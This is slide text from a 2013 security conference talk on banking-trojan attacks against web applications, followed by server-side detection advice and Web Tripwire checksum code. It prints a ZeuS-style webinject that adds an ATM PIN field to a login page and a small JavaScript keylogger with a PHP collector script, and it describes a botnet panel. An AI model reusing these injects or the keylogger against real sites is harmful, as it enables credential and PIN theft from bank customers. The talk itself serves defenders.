How Malware Attacks Web Applications

Casey Smith
SnowFROC 2013
About Me

– FirstBank, Colorado

– Information Security Analyst

– Interests include:
  • Malware Reverse Engineering
  • Anti-Virus Evasion
  • Rootkit Technologies
  • Web Application Attack Methodologies
My definition of Malware.

• “Software that is intended to damage, disrupt or disable computers and computer systems.”

• I want to discuss Malware that is written or customized to attack your web applications, specifically.
• The reality is some users interacting with your web application are infected with Malware.

• How?
  – Fake mobile apps, Exploit Packs, Malicious Ads, Compromised Sites, Drive-By Downloads, Phishing Emails, etc...
• ZeuS and its variants. Citadel, GameOver, etc..

• Three core components:
  – A custom builder
  – Custom configuration Files
  – Defines WebInject files

• These components have been adopted by other Malware variations. Bugat, Tinba, Shylock etc...
• At the core of ZeuS variants is the ability to inject markup and scripts directly into the page on the infected client.

• Defines a URL, and markup patterns to match
set_url https://www.example.com/login

data_before
<input type="password" name="password"/>
data_end
data_inject
<td width="225"><label for="password" class="formlabel">3. ATM PIN</label></td>
<br/>
<input type="password" name="U$pass" id="atmpin" size="20" maxlength="14" title="Enter ATM PIN" tabindex=
<br/>
data_end

data_after
data_before
<label for="account" class="formlabel">
4. Sign on to
data_end
data_after
</label>
data_end
= Injected Content
Malware will inject additional functionality to your application, in order to conduct the attacks, persist state, and conduct fraud.
/*
  2012 by WireMask
  http://wiromask.eu/
*/

var keys='';
document.onkeypress = function(e) {
  get = window.event?event:e;
  key = get.keyCode?get.keyCode:get.charCode;
  key = String.fromCharCode(key);
  keys+=key;
}

window.setInterval(function(){
  keys = '';
}, 1000);

<?php
/*
  2012 by WireMask
  http://wiromask.eu/
*/
$str = isset ($_GET['c']) ? $_GET['c'] : false ;

if ($str) {
  $ff = fopen ('data.txt', 'a+');
  fputs ($ff, $str);
  fclose ($ff);
}
?>
Form Grabbing

Information:
- Current user: admin
- GMT date: 08.03.2013
- GMT time: 04:12:08

Statistics:
- Summary
- OS

Botnet:
- Bots
- Scripts

Reports:
- Search in database
- Search in files
- Jabber notifier

System:
- Information
- Options
- User
- Users
- Logout

Filter:
- Search from date (dd.mm): 08.03 to date: 08.03
- Bots:
- Botnets:
- IP-addresses:
- Countries:

Type of report:
- Cookies of browsers
- File
- HTTP or HTTPS request
- HTTP request
- HTTPS request
- FTP login
- POP3 login
- All grabbed data
- Grabbed data [UI]
- Grabbed data [HTTP(S)]
- Grabbed data [WinSocket]
- Grabbed data [FTP client]
- Grabbed data [E-mail]
- Grabbed data [Other]

Search string:

Result:

08.03.2013

- RESEARCH-BE0179_7875768FFE7B302B
- 127.0.0.1

[+] Cookies of browsers
[+] http://localhost:8080/WebGoat/attack
[+] http://localhost:8080/WebGoat/attack
### Session Hijacking

**CP :: Jabber notifier**

**Information:**
- Current user: admin
- GMT date: 08.03.2013
- GMT time: 12:31:39

**Statistics:**
- Summary
- OS

**Botnet:**
- Bots
- Scripts

**Reports:**
- Search in database
- Search in files
  - → Jabber notifier

**System:**
- Information
- Options
- User
- Users

**Logout**

<table>
<thead>
<tr>
<th>Options</th>
</tr>
</thead>
<tbody>
<tr>
<td>Enable</td>
</tr>
</tbody>
</table>

**Account (name@server[:port]):**  
**Password:**

**To (name@server):**

**Masks of URL's (one per line):**

**URL-file for execution:**

**Local log-file:**
Persistence and Stealth

- Dll Injection
- API Hooks
- Operating System Persistence
- Encrypted Communications
- Splitting ‘Evil’ across multiple files
- Memory Resident Only
- Low AV Detection Rate
• Focus on Application side detection
• Any of the following changing during a session, would be considered interesting:
  - IP Address (Caution here)
  - Accept Encoding
  - Accept Language
  - User-Agent Strings
• Customers complaining of system being down, strange error messages, unexplained transactions, suspicious input fields.

• Strange Referer Headers

• Watch for Malware writers testing their code.  (Yes, you probably have Malware writers as customers!)
  – Out of order page interactions
  – Extra POST parameters sent
  – Unusual velocity of transactions
  – Excessive Logins
• Detecting In-Flight Page Changes with Web TripWires.
• Checksums of portions of the response, validated against server provided hash.
• Detailed Solution in: “Web Application Defender’s Cookbook”
if (responseTextHash != tripwireHash) {
    // Detected modification
    alert("WARNING - This web page has been modified since leaving.");
    // alert(tripwireHash);

    // Notify server
    if (WebTripwire.notifyChangeURL) {
        var notify = WebTripwire.newXHR();

        // Create a handler for the notification request
        var notifyHandler = function() {
            if (notify.readyState == 4 && notify.status == 200) {
                // Notify the user
                WebTripwire.react(targetPageHTML, req.responseText, not);
            }
        };

        // Create a results string to send back
        notify.setRequestHeader('Content-Type', 'text/plain');
        notify.open('POST', WebTripwire.notifyChangeURL); // Post the results to the server
        notify.send(responseText);
    }
}
Detecting Malware – part 5

The page at localhost:8080 says:

WARNING - This web page has been modified since leaving the web server. Your system may be infected with a banking Trojan.

POST http://localhost:8080/check-submit.cqi HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 12820
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.160 Safari/537.22
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://localhost:8080/do/login
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US, en;q=0.8
Accept-Charset: ISO-8859-1, utf-8; q=0.7,*; q=0.3
Cookie: JSESSIONID=04D167D23724A00027CB0431D9D7B82
"Malwaria"